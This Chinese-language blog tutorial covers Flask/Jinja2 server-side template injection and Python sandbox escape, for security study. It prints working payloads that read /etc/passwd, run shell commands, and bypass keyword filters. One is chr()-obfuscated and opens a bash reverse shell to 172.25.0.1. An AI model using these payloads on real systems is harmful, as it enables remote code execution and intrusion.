Python沙箱逃逸与模板注入(SSTI)(二)

​ 前几天总结了python沙箱逃逸,这篇我来总结一下flask服务端模板注入(Server Site Template Injection)。我们可以看到注入绕过的方法中有很多用到了Python沙箱逃逸的方法。

​ 学习模板注入最好要先有Jinja2模板的一些知识,简单的了解一下就行。模板注入是因为模板(Template)被二次渲染(render)或者是直接渲染格式化字符串,而这里面的输入又是用户可控的,这样用户就能输入例如{{1+1}}这样的变量,被服务当做代码执行就会返回2。

寻找可用函数/变量

这里 将 我们可用的函数/变量介绍了一下

request

​ 这个对象指的是当前请求对象,request.environ对象是一个与服务器环境相关的对象字典。值得一提的是,可以通过访问request.args.get request.cookies request.headers等访问我们的请求参数,这主要是用来绕过过滤。(比如不让输入某关键字,我们就可以通过cookies传入,然后从request.cookies获取即可)

config

​ config对象是当前配置对象,是一个类字典的对象,可以用config.items()来访问。而且它还有一些独特1的方法,from_envvar, from_object, from_pyfilefrom_pyfile可以读取指定python文件编译并加载进来。

使用沙箱逃逸方法

​ 当然,这篇博客的重点还是在于和沙箱逃逸结合起来,运用沙箱逃逸的方法成功的模板注入。我们也能看到,寻找可用的函数/变量很难寻找到getshell的方式,然而沙箱逃逸却有神效。

魔法函数

按照上一篇的解释,我们可以构造以下payload:

{{''.__class__.__mro__[-1].__subclasses__()[40]('/etc/passwd','r').read()}}
{{().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['os'].popen('ls').read()}}

绕过

​ 现在很多模板注入都有限制,比如限制输入某些关键字,或者干脆直接限制输入某些字符。下面总结了一些绕过的方法。

限制输入关键字

request绕过关键字

​ 毫无疑问如果要用魔法函数,那么必须就要使用_

​ jinja2模板中有很多有用的内置过滤器,可以"看看这"这里我要介绍的是attrjoin这两个过滤器。{{request|attr("get")}}就相当于{{request.get}}{{request|attr(["_"*2,"class","_"*2]|join)}}相当于{{request.__class__}} 但是我们这样似乎还是无法过滤_ ,因为还是要输入才行呀。不过,我们前面讲过,被过滤的关键字和字符我们可以从request里取出,我们可以在get、post、header、cookies里传一个值,然后用request.cookies['var']获取

​ 理论上,我们可以用这种方法绕过任何关键字过滤。

[]绕过属性关键字

​ 除了上面的方法,如果request关键字也被禁用了的话,就无法用了。但是,其实在jinja2模板的官方文档中清楚地说明了,对象的属性不但可以用.来引用,而且还可以用[]。这说明,我们可以有了如下方式的绕过(+为拼接字符串)。

{{''.__class__}} = {{''['__cl'+'ass__']}}

​ 怎么样?这样的话很多关键字过滤都可以突破,而且即使attr和join两个过滤器也被禁用时仍然可以使用。

限制输入 []

​ 当我们在字典要取值时,需要用到[],如果被过滤了,我们仍然可以用"沙箱逃逸"那篇文章的方法使用getitem方法来绕过。

{{request.cookies.getitem("hh")}}

索引找到current_app

url_for

类似可以索引到current_app的函数:get_flashed_messages、lipsum

寻找可用函数

{%for c in [].__class__.__base__.__subclasses__()%}{{[c.__name__,'
']|join}}{% if c.__name__=='catch_warnings'%}{{loop.index}}{%endif%}{% endfor %}
{%for c in [].__class__.__base__.__subclasses__()%}{{[c.__name__,'
']|join}}{% if c.__name__=='catch_warnings'%}{{loop.index}}{%endif%}{% endfor %}

Payload

self.__dict__

过滤_.url_for

http://127.0.0.1:5001/%7B%7B[][request['args']['class']][request['args']['base']][request['args']['subclasses']]()[153][request['args']['dict']][request['args']['init']][request['args']['globals']][request['args']['builtins']]['eval'](request['args']['payload'])%7D%7D?base=__base__&subclasses=__subclasses__&dict=__dict__&init=__init__&globals=__globals__&builtins=__builtins__&class=__class__&payload=__import__(%27os%27).popen(%27ls%20/%27).read()

过滤了_、过滤了引号、中括号以及一些关键字例如 globals、args、value、header 等

http://127.0.0.1:5009/%7B%7B()|attr(request.args.class)|attr(request.args.base)|attr(request.args.subclasses)()|attr(request.args.getitem)(156)|attr(request.args.init)|attr(request.args.glo+request.args.bals)|attr(request.args.getitem)(request.args.builtins)|attr(request.args.getitem)(request.args.eval)(request.args.payload)%7D%7D?eval=eval&getitem=__getitem__&base=__base__&subclasses=__subclasses__&dict=__dict__&init=__init__&glo=__glo&bals=bals__&builtins=__builtins__&class=__class__&payload=__import__(%27os%27).popen(%27ls%20/%27).read()

过滤了{{.*}},过滤了引号、方括号以及众多危险字符串例如 eval、os、system、import、class 还过滤了 request。

http://127.0.0.1:5103/%7B%25set%20chr=lipsum.__globals__.__builtins__.chr%25%7D%7B%25if%20lipsum.__globals__.__builtins__.__getitem__(chr(101)+chr(118)+chr(97)+chr(108))(chr(95)+chr(95)+chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(95)+chr(95)+chr(40)+chr(39)+chr(111)+chr(115)+chr(39)+chr(41)+chr(46)+chr(115)+chr(121)+chr(115)+chr(116)+chr(101)+chr(109)+chr(40)+chr(39)+chr(98)+chr(97)+chr(115)+chr(104)+chr(32)+chr(45)+chr(99)+chr(32)+chr(34)+chr(98)+chr(97)+chr(115)+chr(104)+chr(32)+chr(45)+chr(105)+chr(32)+chr(62)+chr(38)+chr(32)+chr(47)+chr(100)+chr(101)+chr(118)+chr(47)+chr(116)+chr(99)+chr(112)+chr(47)+chr(49)+chr(55)+chr(50)+chr(46)+chr(50)+chr(53)+chr(46)+chr(48)+chr(46)+chr(49)+chr(47)+chr(55)+chr(57)+chr(57)+chr(57)+chr(32)+chr(48)+chr(62)+chr(38)+chr(49)+chr(34)+chr(39)+chr(41))%25%7D123%7B%25endif%25%7D

总结

​ SSTI其实内容还是python沙箱逃逸的扩展,如果对python精通的话理解会快很多。在我查资料的时候还发现了有师傅用魔法函数构造出file的write函数写文件然后用config.from_pyfile()函数加载,等等技巧偏向于具体情景,我这里就没有总结。

参考

https://www.freebuf.com/articles/web/98619.html

https://www.freebuf.com/articles/system/97146.html

https://0day.work/jinja2-template-injection-filter-bypasses/

https://bestwing.me/awesome-python-sandbox-in-ciscn.html

https://xz.aliyun.com/t/1589/#toc-17